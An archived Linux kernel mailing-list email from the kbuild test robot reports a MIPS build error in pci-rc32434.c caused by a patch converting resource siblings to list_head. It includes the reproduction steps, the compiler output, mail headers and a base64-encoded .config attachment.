64715725 Bernhard Walle  2007-03-18  197  
ab97b8cc Bjorn Helgaas   2016-03-02  198  		if (res->flags & IORESOURCE_IO)
ab97b8cc Bjorn Helgaas   2016-03-02  199  			insert_resource(&ioport_resource, res);
^1da177e Linus Torvalds  2005-04-16  200  		else
ab97b8cc Bjorn Helgaas   2016-03-02  201  			insert_resource(&iomem_resource, res);
d7ad2254 John Keller     2007-07-09  202  		/*
240504ad Bjorn Helgaas   2016-03-02  203  		 * If ROM, mark as shadowed in PROM.
d7ad2254 John Keller     2007-07-09  204  		 */
d7ad2254 John Keller     2007-07-09  205  		if (idx == PCI_ROM_RESOURCE) {
240504ad Bjorn Helgaas   2016-03-02  206  			pci_disable_rom(dev);
240504ad Bjorn Helgaas   2016-03-02  207  			res->flags = IORESOURCE_MEM | IORESOURCE_ROM_SHADOW |
240504ad Bjorn Helgaas   2016-03-02  208  				     IORESOURCE_PCI_FIXED;
d7ad2254 John Keller     2007-07-09  209  		}
^1da177e Linus Torvalds  2005-04-16  210  	}
6f09a925 John Keller     2007-01-30  211  
6f09a925 John Keller     2007-01-30  212  	sn_pci_fixup_slot(dev, pcidev_info, sn_irq_info);
^1da177e Linus Torvalds  2005-04-16  213  }
6f09a925 John Keller     2007-01-30  214  EXPORT_SYMBOL(sn_io_slot_fixup);
6f09a925 John Keller     2007-01-30  215  

:::::: The code at line 195 was first introduced by commit
:::::: ab97b8cc560eabfd8139dd97924a09e46a3c9632 ia64/PCI: Use temporary struct resource * to avoid repetition

:::::: TO: Bjorn Helgaas <bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>
:::::: CC: Bjorn Helgaas <bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.kernel,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.hardware.nvdimm,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v6 2/4] resource: Use list_head to link sibling resource
Date: Thu, 5 Jul 2018 01:00:30 +0800
Lines: 329
Approved: news@gmane.org
Message-ID: <201807042347.hfDcKxmG%fengguang.wu@intel.com>
References: <20180704041038.8190-3-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="5vNYLRcllDrimb99"
X-Trace: blaine.gmane.org 1530723557 29070 195.159.176.226 (4 Jul 2018 16:59:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Jul 2018 16:59:17 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-kernel@vger.kernel.org,
        akpm@linux-foundation.org, robh+dt@kernel.org,
        dan.j.williams@intel.com, nicolas.pitre@linaro.org,
        josh@joshtriplett.org, fengguang.wu@intel.com, bp@suse.de,
        andy.shevchenko@gmail.com, brijesh.singh@amd.com,
        devicetree@vger.kernel.org, airlied@linux.ie,
        linux-pci@vger.kernel.org, richard.weiyang@gmail.com,
        keith.busch@intel.com, jcmvbkbc@gmail.com,
        baiyaowei@cmss.chinamobile.com, frowand.list@gmail.com,
        lorenzo.pieralisi@arm.com, sthemmin@microsoft.com,
        Baoquan He <bhe@redhat.com>, linux-nvdimm@lists.01.org,
        patrik.r.jakobsson@gmail.com, linux-input@vger.kernel.org,
        gustavo@padovan.org, dyoung@redhat.com, vgoyal@redhat.com,
        thomas.lendacky@amd.com, haiyangz@microsoft.com,
        maarten.lankhorst@linux.intel.com, jglisse@redhat.com,
To: Baoquan He <bhe@redhat.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 04 18:59:08 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fal7T-0007Kr-IA
	for glk-linux-kernel-4@m.gmane.org; Wed, 04 Jul 2018 18:59:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753281AbeGDRBP (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 4 Jul 2018 13:01:15 -0400
Original-Received: from mga12.intel.com ([192.55.52.136]:53445 "EHLO mga12.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753225AbeGDRBM (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Jul 2018 13:01:12 -0400
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from fmsmga006.fm.intel.com ([10.253.24.20])
  by fmsmga106.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 04 Jul 2018 10:01:11 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,306,1526367600"; 
   d="gz'50?scan'50,208,50";a="242999052"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga006.fm.intel.com with ESMTP; 04 Jul 2018 10:01:03 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <lkp@intel.com>)
        id 1fal9I-000SaL-0N; Thu, 05 Jul 2018 01:01:00 +0800
Content-Disposition: inline
In-Reply-To: <20180704041038.8190-3-bhe@redhat.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2811785 gmane.linux.drivers.devicetree:277811 gmane.linux.kernel.pci:73751 gmane.linux.hardware.nvdimm:10644 gmane.linux.kernel.input:61902 gmane.linux.ports.parisc:28730 gmane.linux.kernel.kexec:21090 gmane.linux.ports.ppc64.devel:159642
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2811785>


--5vNYLRcllDrimb99
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Baoquan,

I love your patch! Yet something to improve:

[auto build test ERROR on linus/master]
[also build test ERROR on v4.18-rc3 next-20180704]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180704-121402
config: mips-rb532_defconfig (attached as .config)
compiler: mipsel-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
reproduce:
        wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        GCC_VERSION=7.2.0 make.cross ARCH=mips 

All error/warnings (new ones prefixed by >>):

>> arch/mips/pci/pci-rc32434.c:57:11: error: initialization from incompatible pointer type [-Werror=incompatible-pointer-types]
     .child = &rc32434_res_pci_mem2
              ^
   arch/mips/pci/pci-rc32434.c:57:11: note: (near initialization for 'rc32434_res_pci_mem1.child.next')
>> arch/mips/pci/pci-rc32434.c:51:47: warning: missing braces around initializer [-Wmissing-braces]
    static struct resource rc32434_res_pci_mem1 = {
                                                  ^
   arch/mips/pci/pci-rc32434.c:60:47: warning: missing braces around initializer [-Wmissing-braces]
    static struct resource rc32434_res_pci_mem2 = {
                                                  ^
   cc1: some warnings being treated as errors

vim +57 arch/mips/pci/pci-rc32434.c

73b4390f Ralf Baechle 2008-07-16  50  
73b4390f Ralf Baechle 2008-07-16 @51  static struct resource rc32434_res_pci_mem1 = {
73b4390f Ralf Baechle 2008-07-16  52  	.name = "PCI MEM1",
73b4390f Ralf Baechle 2008-07-16  53  	.start = 0x50000000,
73b4390f Ralf Baechle 2008-07-16  54  	.end = 0x5FFFFFFF,
73b4390f Ralf Baechle 2008-07-16  55  	.flags = IORESOURCE_MEM,
73b4390f Ralf Baechle 2008-07-16  56  	.sibling = NULL,
73b4390f Ralf Baechle 2008-07-16 @57  	.child = &rc32434_res_pci_mem2
73b4390f Ralf Baechle 2008-07-16  58  };
73b4390f Ralf Baechle 2008-07-16  59  

:::::: The code at line 57 was first introduced by commit
:::::: 73b4390fb23456964201abda79f1210fe337d01a [MIPS] Routerboard 532: Support for base system

:::::: TO: Ralf Baechle <ralf@linux-mips.org>
:::::: CC: Ralf Baechle <ralf@linux-mips.org>

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--5vNYLRcllDrimb99
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
